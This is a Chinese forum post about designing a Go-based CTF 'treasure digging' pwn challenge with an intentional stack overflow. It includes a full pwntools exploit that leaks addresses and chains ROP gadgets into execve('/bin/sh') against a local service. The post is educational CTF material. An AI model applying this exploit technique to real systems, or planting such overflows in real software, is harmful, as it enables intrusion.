首页
社区
课程
招聘
[原创]挖宝题目设计思路
2019-3-19 19:46 6449

[原创]挖宝题目设计思路

BPG 活跃值
2
2019-3-19 19:46
6449

0x01 题目设计

大概逻辑是随便瞎走,然后一共有4个宝藏,在角落上的三个是忽悠人的,随机的那个宝藏4才能留言触发栈溢出

1. 栈溢出

栈溢出比较简单,问题是在go中的实现就比较麻烦了,具体参考我对seccon2017那道题目的源码复现:http://leanote.com/blog/post/5c64bb2bab64415167000f48

2. go线程堵塞

这里实现了一个多线程,当靠近了宝藏4就会新生成一个宝藏4。而在go里的多线程中有一个叫做channel的通道可以在不同线程中传输值,而如果传值了没取那么线程会堵塞在传值那条语句中,于是就不会继续随机了。

3. 编译

保护全开+去符号表


go build -buildmode=pie -ldflags "-extldflags=-Wl,-z,now,-z,relro -s -w" kx.go

不过实际上有用处的也就是pie,可以通过栈溢出泄露


gdb-peda$ vmmap
StartEndPermName
0x000000c0000000000x000000c000001000 rw-p	mapped
=>
gdb-peda$ x /10xg0x000000c000000000
0xc000000000:0x00007ffff7fb30000x00007ffff7fb3078
=>
gdb-peda$ x /10xg0x00007ffff7fb3000+8
0x7ffff7fb3008:0x00005555559e13400x00005555559e1340

0x02 exp编写

1. 控制rip

输入长字符串后,直接看报错:


goroutine 1[running]:
runtime.systemstack_switch()
/usr/lib/go-1.6/src/runtime/asm_amd64.s:245 fp=0xc820037ae0 sp=0xc820037ad8
runtime.mallocgc(0x4138674137674136,0x0,0xc800000003,0x12c)
/usr/lib/go-1.6/src/runtime/malloc.go:665+0x9eb fp=0xc820037bb8 sp=0xc820037ae0
runtime.rawstring(0x4138674137674136,0x0,0x0,0x0,0x0,0x0)
/usr/lib/go-1.6/src/runtime/string.go:284+0x70 fp=0xc820037c00 sp=0xc820037bb8
runtime.rawstringtmp(0x0,0x4138674137674136,0x0,0x0,0x0,0x0,0x0)
/usr/lib/go-1.6/src/runtime/string.go:111+0xb7 fp=0xc820037c38 sp=0xc820037c00
runtime.slicebytetostring(0x0,0x6741356741346741,0x4138674137674136,0x3168413068413967,0x0,0x0)
/usr/lib/go-1.6/src/runtime/string.go:93+0x6f fp=0xc820037cd0 sp=0xc820037c38
main.walk(0x396a4138,0x0,0xc820037ee0)
/root/golang/kx.go:94+0x6a6 fp=0xc820037e48 sp=0xc820037cd0

可以看到,应该是覆盖buf却把栈上的数据给覆盖了,那么直接给个可读地址替换一下就行了,最后用下面这个payload就能控制返回地址了:


payload ='a'*192+ p64(0x000000c000000000)+ p64(8)+'b'*80+ p64(0x12345678)

2. 写入binsh

那么接下来要做的就是构造rop链了,最终目标是执行:


execve("/bin/sh")
=>
syscall rax=0x3b
rdi=addr_of_binsh
rsi=rdx=0

首先是把binsh写到bss上:


ROPgadget--binary kx | grep  "mov qword ptr \[rdi\]"
0x000000000012ddd5: mov rax, qword ptr [rsi]; mov qword ptr [rdi], rax ; ret

那么现在就需要rax和rdi可控了,这样就能任意地址写了:


ROPgadget--binary kx | grep  "pop rax"
0x000000000003d4e8: pop rax ; ret
ROPgadget--binary kx | grep  "pop rdi"
0x0000000000109fcd: pop rdi ; ret

3. syscall参数设置

还需要控制rdx和rsi


ROPgadget--binary kx | grep  "pop rsi"
0x0000000000113d1e: pop rsi ; ret
ROPgadget--binary kx | grep  "pop rdx"
0x0000000000152a0e: pop rdx ;orbyte ptr [rax -0x77], cl ; ret // 这里需要先将rax设置为一个可写地址

4. getshell

最后就只需要syscall了


ROPgadget--binary kx | grep  "syscall"
0x000000000012de39: syscall ; ret

0x03 exp


#!/usr/bin/env python
# coding=utf-8
from pwn import*
from random import random
import sys, time
context.log_level ='debug'
context.terminal =['tmux','splitw','-h']
context.binary ="./kx"
p = remote("127.0.0.1",8888)
def walk():
    step =["w","s","a","d"]
whileTrue:
        recv = p.recvuntil(">>")
if"Treasure 4"in recv:
print("success!")
return
        p.sendline(step[int(random()*4)])
p.recvuntil("Please input you name :")
p.sendline("mutepig")
# leak golang_base
walk()
payload ='a'*192+ p64(0x000000c000000000)+ p64(8)
p.sendline(payload)
p.recvuntil("Ok.Your message: ")
leak = u64(p.recv(8))
# leak code base
walk()
payload ='a'*192+ p64(leak+8)+ p64(8)
p.sendline(payload)
p.recvuntil("Ok.Your message: ")
base_addr = u64(p.recv(8))-0x48d340
# ROP
walk()
pop_rax = p64(base_addr +0x18330)
pop_rdi = p64(base_addr +0x10a34d)
pop_rsi = p64(base_addr +0x11409e)
pop_rdx = p64(base_addr +0x15312e)
writeable_addr = p64(base_addr +0x487e80)#p64(0x000000c000000000)
move_rdi_rax = p64(base_addr +0x12ddc9)
syscall_addr = p64(base_addr +0x12e1b9)
payload ='a'*192+ p64(0x000000c000000000)+ p64(8)+'b'*80#+ p64(0x12345678)
## write binsh
payload += pop_rax
payload +="/bin/sh\x00"
payload += pop_rdi
payload += writeable_addr
payload += move_rdi_rax
## set rsi=rdi=0, rax=0x3b
payload += pop_rsi
payload += p64(0)
payload += pop_rax
payload += p64(0x000000c000000077)
payload += pop_rdx
payload += p64(0)
payload += pop_rax
payload += p64(0x3b)
## exploit
payload += syscall_addr
p.sendline(payload)
p.interactive()



[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 12040
活跃值: (3222)
能力值: ( LV15,RANK:1565 )
在线值:
发帖
回帖
粉丝
AloneWolf 3 2019-3-27 11:16
2
0
请问一下,在Ubuntu16上执行system("/bin/sh")成功,不过Ubuntu18上执行会异常(好像是执行没有效果直接结束了?),不知道这是什么原因?
雪    币: 639
活跃值: (70)
能力值: ( LV12,RANK:219 )
在线值:
发帖
回帖
粉丝
BPG 2 2019-4-2 09:36
3
0
这个就不太清楚了 不过我本来也是在16上测试的 主办方改成18的 不过还是能跑起来..
游客
登录 | 注册 方可回帖
返回